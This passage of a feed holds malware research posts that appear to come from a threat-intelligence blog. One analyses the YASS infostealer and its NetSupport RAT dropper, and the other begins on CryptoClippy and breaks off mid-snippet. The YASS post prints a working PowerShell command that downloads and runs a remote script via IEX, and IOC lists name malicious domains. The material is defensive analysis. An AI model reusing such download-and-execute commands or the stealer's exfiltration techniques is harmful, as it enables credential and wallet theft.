&lt;td style="text-align: left"&gt;&lt;code&gt;imloifkgjagghnncjkhggdhalmcnfklk&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Trezor Password Manager&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The stealer also searches for other more generic folders that might hold
sensitive browser and wallet information. The stealer will look for references
to login data, cookies, web data, user data, backups and wallets. Brave browser
and Telegram are targeted also.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig18.png" title="Targeted Files" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Targeted Files&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The stolen files are built up into a structured ZIP file before being
exfiltrated. Along with a log of the stolen files, and a screenshot of the
victim machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig19.png" title="Exfiltrated Data Structure" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Exfiltrated Data Structure&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The directories in the exfiltrated ZIP file are structured in a way to help the
recipient threat actor better navigate the stolen data. The main categories
are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apps&lt;/li&gt;
&lt;li&gt;Browsers&lt;/li&gt;
&lt;li&gt;Files&lt;/li&gt;
&lt;li&gt;Wallets&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The infostealer has an optional auxiliary method of stealing. YASS can iterate
through a number of hardcoded drives and look for files which it considers
&amp;ldquo;Other&amp;rdquo; category, sending it to a different server from the main activities.
This may be used to attempt to collect miscellaneous files to run parsers
through at a later stage.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig20.png" title="Additional Stealing Method" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Additional Stealing Method&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Information Gathering&lt;span class="hx:absolute hx:-mt-20" id="information-gathering"&gt;&lt;/span&gt;
&lt;a href="#information-gathering" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;YASS will gather information, into a text file, about the infected computer to
send to the C2. The information is gathered mainly from the registry or through
Windows API calls. Information includes localized information about the machine
such as username and language, as well as physical aspects such as the
processor, RAM, and GPU. This is collated into a text file before being sent to
the C2.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig21.png" title="Completed Fingerprint TXT File" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Completed Fingerprint TXT File&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;C2 Communication&lt;span class="hx:absolute hx:-mt-20" id="c2-communication"&gt;&lt;/span&gt;
&lt;a href="#c2-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;YASS communicates with the C2 via HTTP POST requests. All information and
stolen files are first collected and packaged into a ZIP file. Before the ZIP
file is sent to the C2, it is encrypted via RC4 using an interesting technique.
YASS will generate a unique key for each file sent.&lt;/p&gt;
&lt;p&gt;The unique key is a concatenation of a key from the decrypted block of strings
and a dynamically generated key that is unique with each POST request. In order
for the server to be able to decrypt the data, the latter half of the RC4 key
is shared through the filename metadata of the form data. This increases
resistance to decryption of the stolen data by unauthorized parties, and also
makes detection harder for defenders as there are no discernible patterns in
order to create detections based on network signatures.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig22.png" title="Format of RC4 Encryption Key" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Format of RC4 Encryption Key&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;YASS does not expect any specific reply from the server. The server will reply
&amp;ldquo;OK&amp;rdquo; when it receives information from the stealer.&lt;/p&gt;
&lt;h3&gt;NetSupport Client&lt;span class="hx:absolute hx:-mt-20" id="netsupport-client"&gt;&lt;/span&gt;
&lt;a href="#netsupport-client" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The stealer also has the ability to drop the NetSupport Client as a backdoor
for the infected machine. The client is deployed via a PowerShell command and
script.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;powershell&lt;/span&gt; &lt;span class="n"&gt;-NoP&lt;/span&gt; &lt;span class="n"&gt;-NonI&lt;/span&gt; &lt;span class="n"&gt;-ExecutionPolicy&lt;/span&gt; &lt;span class="n"&gt;Bypass&lt;/span&gt; &lt;span class="n"&gt;-Command&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$Resp&lt;/span&gt;&lt;span class="s2"&gt; = Invoke-WebRequest -Uri &amp;#39;https://brewdogebar[.]com/code.vue&amp;#39; -UseBasicParsing -UserAgent &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36&amp;#39;; &lt;/span&gt;&lt;span class="nv"&gt;$Scr&lt;/span&gt;&lt;span class="s2"&gt; = [System.Text.Encoding]::UTF8.GetString(&lt;/span&gt;&lt;span class="nv"&gt;$Resp&lt;/span&gt;&lt;span class="s2"&gt;.Content); IEX &lt;/span&gt;&lt;span class="nv"&gt;$Scr&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The PowerShell command reaches out to a server to download an additional
script. The
&lt;a href="https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/bfd728e043262c90ef5af2e8228bbf6c"target="_blank" rel="noopener"&gt;PowerShell script&lt;/a&gt;
downloads components for the NetSupport remote access tool, with a
configuration file. The script also sets persistence and informs the server if
target crypto wallet folders are detected.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig23.png" title="PowerShell Script Downloading NetSupport" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;PowerShell Script Downloading NetSupport&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;CryptBot - CryptNot - CryptWhat?!&lt;span class="hx:absolute hx:-mt-20" id="cryptbot---cryptnot---cryptwhat"&gt;&lt;/span&gt;
&lt;a href="#cryptbot---cryptnot---cryptwhat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Over the years CryptBot has been under continuous development. The
modifications of CryptBot have been documented in other blogs, particularly by
AhnLab [&lt;a href="https://asec.ahnlab.com/en/26052/"target="_blank" rel="noopener"&gt;1&lt;/a&gt;,
&lt;a href="https://asec.ahnlab.com/en/31802/"target="_blank" rel="noopener"&gt;2&lt;/a&gt;]. Much like the
&lt;a href="https://en.wikipedia.org/wiki/Ship_of_Theseus"target="_blank" rel="noopener"&gt;Ship of Theseus&lt;/a&gt;, this
infostealer challenges the essence of identity. Though its code has been
entirely replaced compared to its original versions. The behavioral echoes are
unmistakable, pointing to the same malware developer behind it. With this in
mind, we wish to talk about some of the similarities and differences.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig24.png" title="Initial Triage Showing Unknown Code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Initial Triage Showing Unknown Code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;When we first came across this file, we did not see any significant code
overlap with any other known code stealers. There is a notable overlap in
targeted software with other stealers, particularly LummaC2. Another similarity
with LummaC2 is the use of ZIP files and a
&lt;a href="https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer/"target="_blank" rel="noopener"&gt;one-way command and control server&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The strings share many overlaps with other stealers. This would be quite
expected as competing malware developers would be able to see what folders or
applications their competitors are targeting and add those paths to their own
stealing mechanisms. YASS shares strings with Vidar, AMOS, ImBetter, RedLine,
Sharp, Arkei, Atomic, and SolarMarker&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig25.png" title="Related Strings" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Related Strings&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;While YASS uses techniques similar to CryptBot, the implementation is
different. The shared techniques with CryptBot include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use of a folder as a mutex&lt;/li&gt;
&lt;li&gt;Exfil server using a &amp;ldquo;.top&amp;rdquo; TLD.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fr3d.hk/blog/cryptbot-too-good-to-be-true"target="_blank" rel="noopener"&gt;Stealing SQLite database files&lt;/a&gt;
instead of querying the data.&lt;/li&gt;
&lt;li&gt;Similar system information report structure.&lt;/li&gt;
&lt;li&gt;Similar POST request to the exfil server.&lt;/li&gt;
&lt;li&gt;Shared strings&lt;/li&gt;
&lt;li&gt;Secondary exfil server&lt;/li&gt;
&lt;li&gt;Additional payload deployment&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even though we see these similarities, we aren&amp;rsquo;t comfortable classifying YASS
as just a newer version of CryptBot. There are also some significant
differences. This stealer doesn&amp;rsquo;t have a well-structured configuration, uses a
different encryption scheme, and has hardcoded functionality, via PowerShell,
to download and install the NetSupport client. Many of the format strings look
very similar but use different specifiers, the produced strings look the same,
but the &amp;ldquo;implementation&amp;rdquo; is different. YASS also has some unused strings that
are used by CryptBot. It&amp;rsquo;s like all the code has been rewritten, and a few
strings have been forgotten and left, much like
&lt;a href="https://en.wikipedia.org/wiki/Vestigiality"target="_blank" rel="noopener"&gt;vestigial organs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can&amp;rsquo;t tell if the strings have been planted and that YASS has been made to
imitate CryptBot as much as possible. It is
&lt;a href="../../../2021/09/vermilionstrike-reimplementation-cobaltstrike/"&gt;not&lt;/a&gt; the
first time we have come across malware that imitates other malware. So are we
seeing an attempt to deflect suspicion towards malware that&amp;rsquo;s in the hot water?
In April 2023, the United States District Court Southern District Of New York
unsealed a
&lt;a href="https://regmedia.co.uk/2023/04/28/handout_google_cryptbot_complaint.pdf"target="_blank" rel="noopener"&gt;complaint filed&lt;/a&gt;
by Google against some distributors and the creator of CryptBot, so making your
infostealer appear as CryptBot may keep a target off your back. The alternative
is a &amp;ldquo;Ship of Theseus&amp;rdquo;. Either way, we are happy to present CryptBot&amp;rsquo;s latest
step-sibling: YASS.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;LNK file&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;e3bf61f6f96d1a121a1f7f47188cd36fc51f4565ca8cd8fc07207e56a038e7ca&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;HTA (EXE)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;fd7654c5bb79652bc0db2696da35497b9aff2c783ec4c83705d33d329dc742d8
https://nextomax.b-cdn[.]net/nexto (Hosting Server)
https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png (Pinged by PowerShell Script)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ZIP&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;b2080e7705283fce7e03c8895977c5e8c451b5f8a6eb3faecb8acb986a1587c6
https://nextomax.b-cdn[.]net/L2.zip (Hosting Server)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;IDATLOADER&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;4810333bf96fb808604f3657118c734c3dd8ee4baa3e6ffe8da548ae0c8e15d3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;YASS (Stealer)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;7ac46eb84f4b6d25601f23d2c30b7e80b6f3b2d82d3240234fc50af75290a29f (Unpacked from IDATLOADER)
rceight8sr[.]top
grabios[.]org&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;NetSupport RAT&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;brewdogebar[.]com (Hosting Server)
enotik5050[.]com
barsuk5050[.]com
94.232.244[.]133&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>CryptoClippy is Evolving to Pilfer Even More Financial Data</title><link>https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/</link><pubDate>Wed, 24 May 2023 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/</guid><description>
&lt;p&gt;A banking trojan is a malware designed to steal sensitive financial
information, such as online banking login credentials, credit card numbers, and
other financial data. Recently Unit42 released a detailed
&lt;a href="https://unit42.paloaltonetworks.com/crypto-clipper-targets-portuguese-speakers/"target="_blank" rel="noopener"&gt;report&lt;/a&gt;
about a new malware called CryptoClippy that targets Portuguese speakers. The
pesky malware uses the information from the clipboard to redirect money to
crypto-wallets controlled by the threat actors.&lt;/p&gt;
&lt;p&gt;In our research, we have uncovered evidence indicating that the CryptoClippy
threat is undergoing rapid evolution and exceeding its initial scope of crypto
wallet theft. Our findings indicate that the threat actors behind CryptoClippy
are actively expanding its capabilities, &lt;strong&gt;now targeting a broader range of
payment services commonly used in Brazil&lt;/strong&gt;. This discovery highlights the
alarming nature of this evolving malware, as it signifies a significant shift
in the tactics employed by the malicious actors. As they continue to refine and
enhance their methods, the potential risks increase for financial data security
in Brazil. Our investigation delves deep into these emerging patterns, shedding
light on the evolving landscape of CryptoClippy and the imminent risks it poses
to the payment ecosystem in Brazil.&lt;/p&gt;
&lt;p&gt;During our research, we found that the attackers also use &lt;strong&gt;NSIS installers&lt;/strong&gt;
to deploy the first stage of the attack. We were also able to acquire new
malware samples from C2. While there are many similarities between our findings
and those described in the reports, we could pick up unique strings and
functionalities that were not present in the previously reported samples. One
of the things that we noticed is that the &lt;strong&gt;threat targets services that are
specifically used in Brazil&lt;/strong&gt;. Starting from the icon of the installer in the
first stage that uses the logo of the postal service of Brazil. And then the
malware that looks for information associated with PIX – a payment service used
in Brazil.&lt;/p&gt;
&lt;p&gt;In this blog, we will provide a technical analysis of the artifacts we found.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of CryptoClippy&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-cryptoclippy"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-cryptoclippy" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We identified a suspicious
&lt;a href="https://analyze.intezer.com/files/19f0f8831ef9d561f6dc395eff55d165d614fa06d13a9a3d39b120ef18242f12?utm_campaign=research-blog&amp;amp;utm_content=cryptoclippy-evolves-to-pilfer-more-financial-data&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;.NET sample&lt;/a&gt;
that is signed by &amp;ldquo;PLK Management Limited,&amp;rdquo; and its metadata has the company
and product name pointing to &amp;ldquo;WhatsApp.&amp;rdquo; Still, it doesn’t share code with the
software.&lt;/p&gt;
&lt;p&gt;We named the installer of the first stage MINTYCIV.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig2.png" title=".NET MINTYCIV first stage installer." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;.NET MINTYCIV first stage installer.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The installer attempts to look like a legitimate application, but in the
background, it attempts to connect to a remote C2 server. It decodes the URL
using Base64, which resolves to &lt;code&gt;https://mydigitalrevival[.]com/get.php&lt;/code&gt; and
sends the string &amp;ldquo;&lt;code&gt;82DPRmbP&lt;/code&gt;&amp;rdquo;. This domain was mentioned in the Unit42 post.&lt;/p&gt;
&lt;p&gt;We found more files with the same signer however, unlike the first file, they
are NSIS installers, like
&lt;a href="https://analyze.intezer.com/analyses/97a2e3e1-44da-433e-8b20-a1d5f4200160/genetic-analysis?utm_campaign=research-blog&amp;amp;utm_content=cryptoclippy-evolves-to-pilfer-more-financial-data&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;this file&lt;/a&gt;.
Most of the files have an icon of Correios. This state-owned company operates
the national postal service of Brazil. The submitted file name starts with
Rastreio or Correios followed by four letters. Restreio translates to
&amp;ldquo;tracking&amp;rdquo; in Portuguese and Correios means &amp;ldquo;mail&amp;rdquo; or &amp;ldquo;post office.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig3.png" title="Correios logo included with the files" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Correios logo included with the files&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2023/05/cryptoclippy-evolves-to-pilfer-more-financial-data/images/fig4.png" title="One of the NSIS installers with the Correios logo" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;One of the NSIS installers with the Correios logo&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;All files have the same behavior – extract and execute a BAT file that attempts
to connect to a C2. The connection will work only if the request is sent from
Brazil. However, we overcame this check using a VPN, and thus, we got the
payload of the 2nd stage.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-batch" data-lang="batch"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;voc = &amp;#39;O2mGSBzKDaVURN6fQpAYxXhn3dqwPy5J7ukbCFoI1svi4tHrWjcZElgLT9M80e&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&lt;span class="s2"&gt;&amp;#34;(&amp;#34;&lt;/span&gt;, voc[13],voc[61],voc[27],&amp;#39;-&amp;#39;,voc[0],voc[35],voc[49],voc[61],voc[50],voc[45], voc[13],voc[61],)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(voc[45],&amp;#39;.&amp;#39;, voc[48],voc[61],voc[35],voc[36],voc[53],voc[43],voc[61],voc[23],voc[45],&amp;#39;).&amp;#39;,voc[11],)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(voc[17],voc[53],voc[38],voc[9],voc[25],voc[4],voc[45],voc[47],voc[43],voc[23],voc[54],&amp;#39;(&lt;span class="s2"&gt;&amp;#34;&amp;#39;, voc[22])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(voc[45],voc[45],voc[17],&amp;#39;://&amp;#39;, voc[61],voc[15],voc[60],voc[22],&amp;#39;.&amp;#39;, voc[50],voc[38],voc[2])
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#39;/&amp;#39;, voc[40],&amp;#39;/&lt;span class="s2"&gt;&amp;#34;,&amp;#34;&lt;/span&gt;&amp;#39;, voc[15],voc[21],voc[53],voc[8],&amp;#39;&lt;span class="s2"&gt;&amp;#34;) |&amp;#39;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#39;.($&amp;#39;,voc[61],voc[23],voc[42],&amp;#39;:&amp;#39;, voc[28],&amp;#39;-&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(voc[48],voc[43],voc[23],voc[25],voc[38],voc[27],voc[41],voc[28],voc[38],voc[27],voc[61],voc[47],)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(voc[4],voc[22],voc[61],voc[53],voc[53],&amp;#39;\&amp;#39;, voc[42],voc[40],&amp;#39;.&amp;#39;,voc[60],&amp;#39;\&amp;#39;, voc[17],)
